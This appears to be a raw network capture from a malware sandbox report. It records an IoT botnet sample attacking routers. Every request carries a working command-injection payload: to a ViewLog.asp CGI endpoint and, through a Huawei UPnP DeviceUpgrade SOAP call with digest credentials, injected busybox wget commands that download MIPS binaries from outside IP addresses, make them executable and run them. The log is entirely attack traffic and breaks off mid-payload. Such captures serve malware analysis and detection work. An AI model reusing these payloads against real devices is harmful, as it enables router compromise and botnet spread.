                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.702366114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                439192.168.2.155352062.72.166.1988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.737744093 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                440192.168.2.153844062.210.204.1508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.785191059 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                441192.168.2.155785894.125.232.328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.798785925 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:49.987210035 CET487INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:21:49 GMT
                                                Server: Apache
                                                X-Frame-Options: SAMEORIGIN
                                                Content-Length: 226
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                442192.168.2.153632494.139.202.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.859766006 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                443192.168.2.153911894.121.154.1378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.865381956 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                444192.168.2.153777694.122.210.958080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.865988970 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                445192.168.2.155984494.120.225.2348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.876441002 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                446192.168.2.155347885.185.195.2008080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.958288908 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                447192.168.2.153788685.26.9.1068080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:50.404443026 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:51.417973995 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                448192.168.2.1542778156.254.76.24637215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:50.886323929 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:52.537955999 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:54.489998102 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:58.585876942 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:06.521600962 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 